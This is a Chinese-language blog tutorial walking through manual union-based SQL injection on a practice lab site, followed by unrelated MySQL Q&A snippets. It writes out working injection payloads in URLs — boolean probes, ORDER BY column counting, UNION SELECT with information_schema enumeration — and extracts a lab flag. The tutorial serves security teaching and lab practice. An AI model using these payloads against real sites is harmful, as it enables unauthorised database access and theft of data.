SQL注入(一)—— sql手动注入实操

2023-11-15

SQL注入

  • SQL注入攻击是目前web应用网络攻击中最常见的手段之一,曾被冠以 “漏洞之王” 的称号,其安全风险高于缓冲区溢出漏洞等所有其他漏洞,而市场上的防火墙又不能对SQL注入漏洞进行有效的检测和防范。
  • SQL注入攻击普遍存在范围广实现容易破坏性大等特点。

先来走一遍国际惯例——定义入手:什么是SQL和SQL注入?

结构化查询语言(Structured Query Language)简称 SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾后,添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

简单来讲就是:攻击者通过构造不同的SQL语句来实现对数据库的操作
此处两个关键条件

  • 参数用户可控 —— 即用户能够控制数据的输入
  • 我们构造的参数可带入数据库执行 —— 原本要执行的代码,拼接了用户的输入

总结一下:

sql 注入的核心

将用户输入的数据拼接到代码中,并被当成 sql 语句执行。



SQL 手注的一般流程

以下操作以某靶场为例,大家可以跟着试一试
(((搬出中华人民共和国网络安全法,这里提醒大家法无授权不可为,渗透测试在靶场做做就好,千万不要去乱搞其他网站,(除非你得到了网站管理员的渗透测试许可),入狱了不要把我供出来

初始界面:
在这里插入图片描述
在这里插入图片描述


判断注入点 —— 第一步

找页面与数据库产生交互的地方。

我们找到界面中的 url :

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1

这一长串url中 ’ ? ’ 后跟的就是参数id=1,’ ? ’ 表示传参。一般来讲 ’ ? '的内容都是用户可控的。若不存在能够与数据库产生交互的地方,那么sql注入也就自然无处下手了。
这里id=后面的内容就可以进行参数修改啦

传入SQL语句可控参数分为两类

  • 数字类型,参数不用被引号引用 ?id=1
  • 其他类型,参数需要被引号引用 ?name="phone"

我们尝试一下修改参数

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=2

可以看到界面的查询结果改变了
在这里插入图片描述

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2

在这里插入图片描述
界面报错
证实此处的传参的确将用户输入当做代码执行了,即存在sql注入漏洞。


判断字段数 —— 第二步

使用order by子句,利用网页报错判断字段数,为下一步铺垫
order by 函数具体用法放在这啦,就不详细展开讲了。

ORDER BY 语句用于根据指定的列对结果集进行排序

我们从order by 1 开始尝试

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 1
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 2
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 3

以上操作界面均显示正常
在这里插入图片描述

但是当改为 order by 4 时,界面报错
在这里插入图片描述

由此我们可以得出:说明此处存在三个字段


判断回显点 —— 第三步

接下来我们要使用union select语句,联合查询,通过页面回显找到回显点,再利用其获取我们需要查询的数据。

前置知识:
select 语句用于从表中选取数据。
union 操作符用于合并两个或多个 SELECT 语句的结果集。

注意:

UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名

什么意思呢? 就是联合查询前后的两个表,第一个表的字段数与第二个表的字段数必须相等,否则就会报错。像这样:在这里插入图片描述

那如果一个表的字段数与第二个表的字段数不相等怎么办呢?我们可以进行如下操作手动补全:

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,3

这样就显示正常了
在这里插入图片描述
但我们会发现,这个界面与初始界面一模一样。
因为这里优先显示的是联合查询的第一个结果,而第二个结果未被显示
所以我们只需要在这里使联合查询的第一个结果不显示(使前半段语句为假,则不返回任何内容):

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,3

在这里插入图片描述
我们发现”Your Login Name“后显示的是第二个字段的内容
“Password” 后显示的是第三个字段的内容

保险起见我们验证一下:

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,222,333

在这里插入图片描述
证实了我们的猜想。
由此可以得到,回显点就在”Your Login Name“和"Password" 后的位置


查询相关内容 —— 第四步

接下来我们利用显错位获取相关内容,这里我们再分几步进行
mysql中的information_schema说明
information_schema : mysql数据库5.0以上版本,自带数据库,记录了mysql下所有的库名,表名,列名等信息。
主要用到以下几个:

  • schemata表 (mysql服务器中所有数据库信息的表)
  • tables表 (mysql服务器中所有表信息的表)
  • columns表(mysql服务器所有列信息的表)
  • table_schema 数据库名
  • table_name 表名
  • column_name 列名

判断库名

MySQL中的 database()函数 返回默认或当前数据库的名称。

在刚刚的回显点加入database函数,以此得到库名

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,database(),database()

在这里插入图片描述
获得数据库库名:error

判断表名

为了查询表名,我们将union后的语句改成:

union select 1,table_name,3 from information_schema.tables where table_schema='error'

下面对这段语句进行详细解释:

回顾一下 select语句 用于从表中选取数据:

SELECT_(列名1,2,3,…)_ FROM _(表名)

已知回显点在列名2和列名3,我们将需要查询返回的数据放在回显点处。
table_name列在information_schema库的tables表下。
注意这里不能直接写表名tables, 否则它会在error库下找tables表,找不到就会报错。
因此需要使用【库名.表名】的格式:information_schema.tables

where子句 用于规定选择的标准

WHERE_(限定条件)

我们需要查询的是error库的表名,因此在查询中限定table_schema='error'.
也就是返回本张表中所有table_schema这一字段的值为error的数据所对应的table_name值。

好了,现在我们实践一下:

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error'

为了显示union select后的内容,我们同样在前面加上and 1=2
在这里插入图片描述得到一个表名:error_flag

判断列名

同理,列column_name在表information_schema.column
union后修改为

union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag'

在这里插入图片描述
得到一个列名:ld
但是如何查询其他列名?这里我们需要用到limit子句
limit子句 用于强制 SELECT 语句返回指定的记录数。

LIMIT_(参数1),(参数2)
第一个参数指定第一个返回记录行的偏移量(注意这里从0计数),第二个参数指定返回记录行的最大数目。
第(参数1)+1个数据 到 第(参数1+参数2)+1个数据

实践一下,查询第二个列名 limit 1,1

union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag' limit 1,1

在这里插入图片描述
得到第二个列名:flag
当然也可以利用group_concat()函数 一起输出所有列名 (不推荐,有可能回显点有字符输出限制导致输出不完整)

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='error' and table_name='error_flag'

在这里插入图片描述

查询具体信息

靶场小任务
在这里插入图片描述
我们现在已经找到了flag字段所在的列名error_flag
接下来直接使用SELECT语句就可以直接查询flag的内容

union select 1,flag,3 from error_flag

在这里插入图片描述
得到flag字段的具体信息: zKaQ-Nf

总结

SQL手注四部曲:

  • 判断注入点

id=1 and 1=2

  • 判断字段数

id=1 order by 1

  • 判断回显点

id=1 and 1=2 union select 1,2,3

  • 查询相关内容

id=1 and 1=2 union select 1,database(),3

id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error’

id=1 ans 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘error’ and table_name='error_flag’

union select 1,flag,3 from error_flag

End 完结撒花~

不许走 点个赞

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入(一)—— sql手动注入实操 的相关文章

  • MySQL - 重命名列

    如何重命名 mysql 列help to content在我的桌子上tbl help mysql query ALTER TABLE tbl help CHANGE COLUMN help content 您必须在更改列语句中包含列的定义
  • Rails 创建 schema_migrations - Mysql2::Error: 指定的键太长

    我正在使用Rails 3 2 6和Mysql 6 0 9 但我在MySQL 5 2 25上有完全相同的错误 当我创建新数据库时 rake db create 然后当我尝试加载架构时 rake schema load 我收到此错误 Mysql
  • 通过左连接实现精确分页

    我已经思考这个问题有一段时间了 我认为最好四处询问并听听其他人的想法 我正在构建一个在 Mysql 上存储位置的系统 每个位置都有一个类型 有些位置有多个地址 表格看起来像这样 location location id autoincrem
  • MySQL更改表,添加具有唯一随机值的列

    我有一个表 我添加了一个名为phone 该表还有一个 id 设置为自动增量的主键 如何将随机值插入到电话列中 该值不会重复 以下 UPDATE 语句确实插入了随机值 但并非所有值都是唯一的 另外 我没有被卖掉 我投了phone字段也正确 但
  • 在数据库中存储差异的最紧凑方式是什么?

    我想实现类似于维基媒体的修订历史的东西 最好使用的 PHP 函数 库 扩展 算法是什么 我希望差异尽可能紧凑 但我很高兴只能显示每个修订版与其同级修订版之间的差异 并且一次只能回滚一个修订版 在某些情况下 只有几个字符可能会发生变化 而在其
  • MAMP Python-MySQLdb 问题:调用 Python 文件后 libssl.1.0.0.dylib 的路径发生变化

    我正在尝试使用 python MySQLdb 访问 MAMP 服务器上的 MySQL 数据库 当我最初尝试使用 python sql 调用 Python 文件来访问 MAMP 上的数据库时 我得到了image not found关于错误li
  • mysql查询先慢后快

    我有 2 个 myISAM 表 分别称为 tests 和 completed tests 一个有 170 个条目 另一个有 118k 条目 当我运行此查询时 SELECT ct archive ct status ct score ct u
  • 脚本超时已过,如果要完成导入,请重新提交相同的文件,导入将恢复

    我有一个数据库 拉开拉链后的尺寸50mb拉链尺寸7mb所以当我尝试导入数据库时zipped 7mb 几分钟后 它抛出此错误 脚本超时已过 如果您想完成导入 请resubmit相同的文件和导入将恢复 我已经重新提交了 但仍然没有导入全部数据
  • 使用 PHP 将文件上传到 MySql DB

    我希望用户通过我在后端使用 MySql 用 PHP 开发的 web 应用程序上传文件 我想将文件存储在数据库中 我在这样做时遇到了问题 此外 一旦文件存储在数据库中 我们如何下载它 并在 web 应用程序中正确显示它 文件类型和文件的其他属
  • 存储过程函数中的动态表名

    我编写了一个存储过程函数来从表中获取名称 问题是我希望将表名作为参数传入 有几个不同的表我需要使用此函数 DELIMITER CREATE DEFINER root localhost FUNCTION getName tableName
  • 重复键错误不会取消/回滚mysql事务

    当在 mysql innodb 事务中时 我希望重复的键错误会导致回滚 它没有 相反 它只是抛出一个错误并继续执行下一个命令 一旦到达 COMMIT 命令 事务将被提交 没有重复键导致命令 这是预期的行为吗 如果是这样 如何设置它以便在发生
  • 如何使用外连接和分组依据在查询中包含 NULL 值

    我有两个表 其中包含以下示例数据 Table 1 item name item id item desc 1 apple 2 orange 3 banana 4 grape 5 mango Table 2 user items user i
  • 为什么我在 WinForms 列表框中得到“System.Data.DataRowView”而不是实际值?

    每当我运行代码并尝试查看highscore我在列表框中得到的只是System Data DataRowView 谁能明白为什么吗 Code MySqlConnection myConn new MySqlConnection connStr
  • 选择每组最新的项目[重复]

    这个问题在这里已经有答案了 可能的重复 检索每组中的最后一条记录 https stackoverflow com questions 1313120 retrieving the last record in each group 我有 2
  • 将sql查询结果写入mysql中的文件

    我正在尝试使用 mysql 将查询结果写入文件 我在一些地方看到了有关 outfile 构造的一些信息 但似乎这只将文件写入正在运行 MySQL 的机器 在本例中是远程机器 即数据库不在我的本地机器上 或者 我还尝试运行查询并从 mysql
  • pyodbc 无法正确处理 unicode 数据

    我确实使用 pyodbc 成功连接了 MySQL 数据库 并且它可以很好地处理 ascii 编码的数据 但是当我打印使用 unicode utf8 编码的数据时 它引发了错误 UnicodeEncodeError ascii codec c
  • 级联删除时触发调用

    我在 MySQL 中有表 A 它有一些对其他表 B C D 的级联删除的引用 当从 A 中删除某些内容时 我需要使用触发器 当我直接从 A 删除记录时 此触发器起作用 但它不适用于级联删除 是否存在任何版本的 MySQL 可以让我的触发器与
  • MySQL 将表的校验和存储在另一个表中

    语境 我们有包含大量表的大型数据库 他们中的大多数 99 都使用innodb 我们希望有一个日常流程来监视哪个表已被修改 当他们使用 innodb 的值时Update time from SHOW table STATUS from inf
  • 如何绑定值 INSERT INTO mysql perl

    我有下面的代码可以工作 但我需要知道如何绑定它们以确保安全 如果我只是将 new row 替换为 并将其放入执行中我收到错误 感谢您的帮助 foreach my field account field order new row param
  • 如何更新 MySQL 数据库中的两列?

    这不起作用 UPDATE customers SET firstname John AND lastname Smith WHERE id 1 用逗号分隔值 AND是一个逻辑运算符 它的位置是WHERE and ON条款 UPDATE cu

随机推荐

  • 新纪录学习创作1(@RequestMapping、HttpServletRequest)

    1 RequestMapping 用来处理请求地址映射的注解 可用于类或方法上 用于类上 表示类中的所有响应请求的方法都是以该地址作为父路径 用于方法上 表示在类的父路径下追加方法上注解中的地址将会访问到该方法 此处需注意 RequestM
  • 全国大学生算法设计与编程挑战赛 (秋季赛)——正式赛

    最大化 max Description 有一张NN个点的无向图 要求给每个点分配一个标号 使得任意一条边两端的点的标号差 绝对值 不能超过给出的常数 DD 要求在此基础上最大化标号的最大值减最小值 如果答案为 infin 则输出 1 Inp
  • DS二叉排序树之创建和插入

    题目描述 给出一个数据序列 建立二叉排序树 并实现插入功能 对二叉排序树进行中序遍历 可以得到有序的数据序列 输入 第一行输入t 表示有t个数据序列 第二行输入n 表示首个序列包含n个数据 第三行输入n个数据 都是自然数且互不相同 数据之间
  • 在Unity中 改变地形(Terrain),并加上水面、树、草地、材质(地板上色)

    在Unity中 如何使用地形 Terrain 并加上水面 树 草地 材质 地板上色 目录 在Unity中 如何使用地形 Terrain 并加上水面 树 草地 材质 地板上色 一 水面素材包 导入 二 地形 Terrain 地貌设置 地形上升
  • 对音频进行vad及降噪处理

    感觉有必要写一篇博客了 这几天在小组比赛中负责对语音进行处理 处理有两个 一个是用vad对音频进行端点确定 即把静音部分去掉 第二个是对音频进行降噪处理 之前在网上找了许多资料 才找到谷歌之前开发过一个叫webrtc的轮子 里面集成了许多有
  • LaTeX总结8(矩阵排版)

    1 首先矩阵排版要引入一个新的宏包 usepackage amsmath 2 首先就是格式的问题了 begin matrix 只是普通的矩阵 0 1 1 2 end matrix begin pmatrix 加括号的矩阵 0 1 1 2 e
  • 深度残差网络(Deep residual network, ResNet)

    文章目录 一 前言 二 深度网络的退化问题 三 残差学习 3 1 残差网络原理 3 2 ResNet结构为什么可以解决深度网络退化问题 3 3 残差单元 3 4 ResNet的网络结构 四 实验结果 ResNet 50 完整代码 参考资料
  • STM32F4——DAC

    DAC简介 DAC Digital to analog converter 即数字模拟转换器 它可以将数字信号转换为模拟信号 它的功能与ADC相反 在常见的数字信号系统中 大部分传感器信号被转化成电压信号 而 ADC 把电压模拟信号转换成易
  • 【内核驱动】Linux概述

    00 目录 文章目录 00 目录 01 Unix简介 02 Linux简介 03 Linux发展史 04 单内核与微内核区别 05 Linux内核 06 Linux内核组成 07 Linux官方网站 08 附录 01 Unix简介 UNIX
  • 【神经网络】(5) 卷积神经网络(ResNet50),案例:艺术画作10分类,附数据集

    各位同学好 今天和大家分享一下TensorFlow2 0中如何构建卷积神经网络ResNet 50 案例内容 现在收集了10位艺术大师的画作 采用卷积神经网络判断某一幅画是哪位大师画的 数据集 百度网盘 请输入提取码 提取码 2h5x 1 数
  • Banknote Dataset(钞票数据集)介绍

    Banknote Dataset 钞票数据集 这是从纸币鉴别过程中的图像里提取的数据 用来预测钞票的真伪的数据集 该数据集中含有1372个样本 每个样本由5个数值型变量构成 4个输入变量和1个输出变量 小波变换工具用于从图像中提取特征 这是
  • 【华为OD机试真题2023B卷 JS】MELON的难题

    华为OD2023 B卷 机试题库全覆盖 刷题指南点这里 MELON的难题 知识点DFS搜索 时间限制 2s 空间限制 32MB 限定语言 不限 题目描述 MELON有一堆精美的雨花石 数量为n 重量各异 准备送给S和W MELON希望送给俩
  • 初识最大熵原理

    一 概述 在日常生活中或者科学试验中 很多的事情发生都具有一定的随机性 即最终产生的结果是随机发生的 我们不清楚这些结果是否服从什么规律 我们所拥有的只有一些实验样本 在这种情况下 我们如何根据现拥有的东西对结果产生一个合理的推断呢 最大熵
  • R语言实用案例分析-1

    在日常生活和实际应用当中 我们经常会用到统计方面的知识 比如求最大值 求平均值等等 R语言是一门统计学语言 他可以方便的完成统计相关的计算 下面我们就来看一个相关案例 1 背景 最近西安交大大数据专业二班 开设了Java和大数据技术课程 班
  • matlab 未定义与‘XXX‘类型的输入参数相对应的函数‘princomp‘

    今天某同学让我帮他看看matlab代码出了什么问题 首先运行代码 出现了第一个问题 这个GetSal函数是一个文件外的自定义函数 一看运行的当前目录和这个函数所在的目录不在同一个目录下 在代码里加入addpath 自定义函数所在目录 即可
  • 网络精通-组播

    400 组播 一次发送一组人接收 组播的应用场景 广播电视 音频会议 电视直播 401 PIM 组播路由协议 运行在中间路由器上 帮助路由器选择最短路径到达终端 402 IGPM 运行在最后一跳路由器和终端上面 用来通知路由器下面是否有终端
  • 微信小程序npm项目构建和使用(按照步奏操作)

    1 微信开发者工具里面新建目录miniprogram目录 文件目录名和红色框名一致 然后在miniprogram目录下新建node modules目录 2 WIN R打开运行输入CMD运行黑窗口 cd到你的项目miniprogram目录 错
  • drop table if exists 多张表_mysql实验--DROP 大表时的注意事项

    概述 我们很多时候都会去drop一些大表 特别是生产环境做操作时 这里主要提一些注意事项 仅供参考 01 相关语法 1 删表 DROP TABLE SyntaxDROP TEMPORARY TABLE IF EXISTS tbl name
  • Prometheus + Grafana 监控Docker

    Prometheus Grafana 监控Docker cAdvisor Container Advisor 用于收集正在运行的容器资源使用和性能信息 k8s中kubelet自带cadvisor监控所有节点 参考 https github
  • SQL注入(一)—— sql手动注入实操

    SQL SQL注入 sql 注入的核心 SQL 手注的一般流程 判断注入点 第一步 判断字段数 第二步 判断回显点 第三步 查询相关内容 第四步 判断库名 判断表名 判断列名 查询具体信息 总结 SQL注入 SQL注入攻击是目前web应用网